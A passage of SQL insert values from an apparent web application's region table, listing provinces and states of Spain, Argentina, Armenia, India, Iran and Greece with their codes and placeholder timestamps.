0, 'Alava', 'ALA', '01', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (323, 1, 195, 0, 'Albacete', 'ALB', '02', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (324, 1, 195, 0, 'Alicante', 'ALI', '03', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (325, 1, 195, 0, 'Almeria', 'ALM', '04', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (326, 1, 195, 0, 'Asturias', 'AST', '33', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (327, 1, 195, 0, 'Avila', 'AVI', '05', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (328, 1, 195, 0, 'Badajoz', 'BAD', '06', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (329, 1, 195, 0, 'Baleares', 'BAL', '07', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (330, 1, 195, 0, 'Barcelona', 'BAR', '08', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (331, 1, 195, 0, 'Burgos', 'BUR', '09', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (332, 1, 195, 0, 'Caceres', 'CAC', '10', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (333, 1, 195, 0, 'Cadiz', 'CAD', '11', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (334, 1, 195, 0, 'Cantabria', 'CAN', '39', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (335, 1, 195, 0, 'Castellon', 'CAS', '12', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (336, 1, 195, 0, 'Ceuta', 'CEU', '51', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (337, 1, 195, 0, 'Ciudad Real', 'CIU', '13', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (338, 1, 195, 0, 'Cordoba', 'COR', '14', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (339, 1, 195, 0, 'Cuenca', 'CUE', '16', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (340, 1, 195, 0, 'Girona', 'GIR', '17', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (341, 1, 195, 0, 'Granada', 'GRA', '18', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (342, 1, 195, 0, 'Guadalajara', 'GUA', '19', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (343, 1, 195, 0, 'Guipuzcoa', 'GUI', '20', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (344, 1, 195, 0, 'Huelva', 'HUL', '21', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (345, 1, 195, 0, 'Huesca', 'HUS', '22', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (346, 1, 195, 0, 'Jaen', 'JAE', '23', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (347, 1, 195, 0, 'La Rioja', 'LRI', '26', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (348, 1, 195, 0, 'Las Palmas', 'LPA', '35', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (349, 1, 195, 0, 'Leon', 'LEO', '24', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (350, 1, 195, 0, 'Lleida', 'LLE', '25', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (351, 1, 195, 0, 'Lugo', 'LUG', '27', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (352, 1, 195, 0, 'Madrid', 'MAD', '28', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (353, 1, 195, 0, 'Malaga', 'MAL', '29', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (354, 1, 195, 0, 'Melilla', 'MEL', '52', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (355, 1, 195, 0, 'Murcia', 'MUR', '30', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (356, 1, 195, 0, 'Navarra', 'NAV', '31', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (357, 1, 195, 0, 'Ourense', 'OUR', '32', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (358, 1, 195, 0, 'Palencia', 'PAL', '34', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (359, 1, 195, 0, 'Pontevedra', 'PON', '36', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (360, 1, 195, 0, 'Salamanca', 'SAL', '37', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (361, 1, 195, 0, 'Santa Cruz de Tenerife', 'SCT', '38', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (362, 1, 195, 0, 'Segovia', 'SEG', '40', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (363, 1, 195, 0, 'Sevilla', 'SEV', '41', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (364, 1, 195, 0, 'Soria', 'SOR', '42', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (365, 1, 195, 0, 'Tarragona', 'TAR', '43', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (366, 1, 195, 0, 'Teruel', 'TER', '44', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (367, 1, 195, 0, 'Toledo', 'TOL', '45', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (368, 1, 195, 0, 'Valencia', 'VAL', '46', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (369, 1, 195, 0, 'Valladolid', 'VLL', '47', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (370, 1, 195, 0, 'Vizcaya', 'VIZ', '48', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (371, 1, 195, 0, 'Zamora', 'ZAM', '49', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (372, 1, 195, 0, 'Zaragoza', 'ZAR', '50', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (373, 1, 10, 0, 'Buenos Aires', 'BAS', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (374, 1, 10, 0, 'Ciudad Autonoma De Buenos Aires', 'CBA', 'CB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (375, 1, 10, 0, 'Catamarca', 'CAT', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (376, 1, 10, 0, 'Chaco', 'CHO', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (377, 1, 10, 0, 'Chubut', 'CTT', 'CT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (378, 1, 10, 0, 'Cordoba', 'COD', 'CO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (379, 1, 10, 0, 'Corrientes', 'CRI', 'CR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (380, 1, 10, 0, 'Entre Rios', 'ERS', 'ER', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (381, 1, 10, 0, 'Formosa', 'FRM', 'FR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (382, 1, 10, 0, 'Jujuy', 'JUJ', 'JU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (383, 1, 10, 0, 'La Pampa', 'LPM', 'LP', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (384, 1, 10, 0, 'La Rioja', 'LRI', 'LR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (385, 1, 10, 0, 'Mendoza', 'MED', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (386, 1, 10, 0, 'Misiones', 'MIS', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (387, 1, 10, 0, 'Neuquen', 'NQU', 'NQ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (388, 1, 10, 0, 'Rio Negro', 'RNG', 'RN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (389, 1, 10, 0, 'Salta', 'SAL', 'SA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (390, 1, 10, 0, 'San Juan', 'SJN', 'SJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (391, 1, 10, 0, 'San Luis', 'SLU', 'SL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (392, 1, 10, 0, 'Santa Cruz', 'SCZ', 'SC', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (393, 1, 10, 0, 'Santa Fe', 'SFE', 'SF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (394, 1, 10, 0, 'Santiago Del Estero', 'SEN', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (395, 1, 10, 0, 'Tierra Del Fuego', 'TFE', 'TF', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (396, 1, 10, 0, 'Tucuman', 'TUC', 'TU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (397, 1, 11, 0, 'Aragatsotn', 'ARG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (398, 1, 11, 0, 'Ararat', 'ARR', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (399, 1, 11, 0, 'Armavir', 'ARM', 'AV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (400, 1, 11, 0, 'Gegharkunik', 'GEG', 'GR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (401, 1, 11, 0, 'Kotayk', 'KOT', 'KT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (402, 1, 11, 0, 'Lori', 'LOR', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (403, 1, 11, 0, 'Shirak', 'SHI', 'SH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (404, 1, 11, 0, 'Syunik', 'SYU', 'SU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (405, 1, 11, 0, 'Tavush', 'TAV', 'TV', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (406, 1, 11, 0, 'Vayots-Dzor', 'VAD', 'VD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (407, 1, 11, 0, 'Yerevan', 'YER', 'ER', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (408, 1, 99, 0, 'Andaman & Nicobar Islands', 'ANI', 'AI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (409, 1, 99, 0, 'Andhra Pradesh', 'AND', 'AN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (410, 1, 99, 0, 'Arunachal Pradesh', 'ARU', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (411, 1, 99, 0, 'Assam', 'ASS', 'AS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (412, 1, 99, 0, 'Bihar', 'BIH', 'BI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (413, 1, 99, 0, 'Chandigarh', 'CHA', 'CA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (414, 1, 99, 0, 'Chhatisgarh', 'CHH', 'CH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (415, 1, 99, 0, 'Dadra & Nagar Haveli', 'DAD', 'DD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (416, 1, 99, 0, 'Daman & Diu', 'DAM', 'DA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (417, 1, 99, 0, 'Delhi', 'DEL', 'DE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (418, 1, 99, 0, 'Goa', 'GOA', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (419, 1, 99, 0, 'Gujarat', 'GUJ', 'GU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (420, 1, 99, 0, 'Haryana', 'HAR', 'HA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (421, 1, 99, 0, 'Himachal Pradesh', 'HIM', 'HI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (422, 1, 99, 0, 'Jammu & Kashmir', 'JAM', 'JA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (423, 1, 99, 0, 'Jharkhand', 'JHA', 'JH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (424, 1, 99, 0, 'Karnataka', 'KAR', 'KA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (425, 1, 99, 0, 'Kerala', 'KER', 'KE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (426, 1, 99, 0, 'Lakshadweep', 'LAK', 'LA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (427, 1, 99, 0, 'Madhya Pradesh', 'MAD', 'MD', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (428, 1, 99, 0, 'Maharashtra', 'MAH', 'MH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (429, 1, 99, 0, 'Manipur', 'MAN', 'MN', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (430, 1, 99, 0, 'Meghalaya', 'MEG', 'ME', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (431, 1, 99, 0, 'Mizoram', 'MIZ', 'MI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (432, 1, 99, 0, 'Nagaland', 'NAG', 'NA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (433, 1, 99, 0, 'Orissa', 'ORI', 'OR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (434, 1, 99, 0, 'Pondicherry', 'PON', 'PO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (435, 1, 99, 0, 'Punjab', 'PUN', 'PU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (436, 1, 99, 0, 'Rajasthan', 'RAJ', 'RA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (437, 1, 99, 0, 'Sikkim', 'SIK', 'SI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (438, 1, 99, 0, 'Tamil Nadu', 'TAM', 'TA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (439, 1, 99, 0, 'Tripura', 'TRI', 'TR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (440, 1, 99, 0, 'Uttaranchal', 'UAR', 'UA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (441, 1, 99, 0, 'Uttar Pradesh', 'UTT', 'UT', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (442, 1, 99, 0, 'West Bengal', 'WES', 'WE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (443, 1, 101, 0, 'Ahmadi va Kohkiluyeh', 'BOK', 'BO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (444, 1, 101, 0, 'Ardabil', 'ARD', 'AR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (445, 1, 101, 0, 'Azarbayjan-e Gharbi', 'AZG', 'AG', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (446, 1, 101, 0, 'Azarbayjan-e Sharqi', 'AZS', 'AS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (447, 1, 101, 0, 'Bushehr', 'BUS', 'BU', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (448, 1, 101, 0, 'Chaharmahal va Bakhtiari', 'CMB', 'CM', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (449, 1, 101, 0, 'Esfahan', 'ESF', 'ES', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (450, 1, 101, 0, 'Fars', 'FAR', 'FA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (451, 1, 101, 0, 'Gilan', 'GIL', 'GI', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (452, 1, 101, 0, 'Gorgan', 'GOR', 'GO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (453, 1, 101, 0, 'Hamadan', 'HAM', 'HA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (454, 1, 101, 0, 'Hormozgan', 'HOR', 'HO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (455, 1, 101, 0, 'Ilam', 'ILA', 'IL', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (456, 1, 101, 0, 'Kerman', 'KER', 'KE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (457, 1, 101, 0, 'Kermanshah', 'BAK', 'BA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (458, 1, 101, 0, 'Khorasan-e Junoubi', 'KHJ', 'KJ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (459, 1, 101, 0, 'Khorasan-e Razavi', 'KHR', 'KR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (460, 1, 101, 0, 'Khorasan-e Shomali', 'KHS', 'KS', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (461, 1, 101, 0, 'Khuzestan', 'KHU', 'KH', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (462, 1, 101, 0, 'Kordestan', 'KOR', 'KO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (463, 1, 101, 0, 'Lorestan', 'LOR', 'LO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (464, 1, 101, 0, 'Markazi', 'MAR', 'MR', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (465, 1, 101, 0, 'Mazandaran', 'MAZ', 'MZ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (466, 1, 101, 0, 'Qazvin', 'QAS', 'QA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (467, 1, 101, 0, 'Qom', 'QOM', 'QO', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (468, 1, 101, 0, 'Semnan', 'SEM', 'SE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (469, 1, 101, 0, 'Sistan va Baluchestan', 'SBA', 'SB', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (470, 1, 101, 0, 'Tehran', 'TEH', 'TE', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (471, 1, 101, 0, 'Yazd', 'YAZ', 'YA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (472, 1, 101, 0, 'Zanjan', 'ZAN', 'ZA', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (535, 1, 84, 0, 'ΛΕΥΚΑΔΑΣ', 'ΛΕΥ', 'ΛΕ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (532, 1, 84, 0, 'ΛΑΡΙΣΑΣ', 'ΛΑΡ', 'ΛΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (504, 1, 84, 0, 'ΑΡΚΑΔΙΑΣ', 'ΑΡΚ', 'ΑΚ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (503, 1, 84, 0, 'ΑΡΓΟΛΙΔΑΣ', 'ΑΡΓ', 'ΑΡ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (533, 1, 84, 0, 'ΛΑΣΙΘΙΟΥ', 'ΛΑΣ', 'ΛΑ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (534, 1, 84, 0, 'ΛΕΣΒΟΥ', 'ΛΕΣ', 'ΛΣ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (530, 1, 84, 0, 'ΚΥΚΛΑΔΩΝ', 'ΚΥΚ', 'ΚΥ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (553, 1, 84, 0, 'ΑΙΤΩΛΟΑΚΑΡΝΑΝΙΑΣ', 'ΑΙΤ', 'ΑΙ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (529, 1, 84, 0, 'ΚΟΡΙΝΘΙΑΣ', 'ΚΟΡ', 'ΚΟ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (531, 1, 84, 0, 'ΛΑΚΩΝΙΑΣ', 'ΛΑΚ', 'ΛK', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (517, 1, 84, 0, 'ΗΜΑΘΙΑΣ', 'ΗΜΑ', 'ΗΜ', 0, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (518, 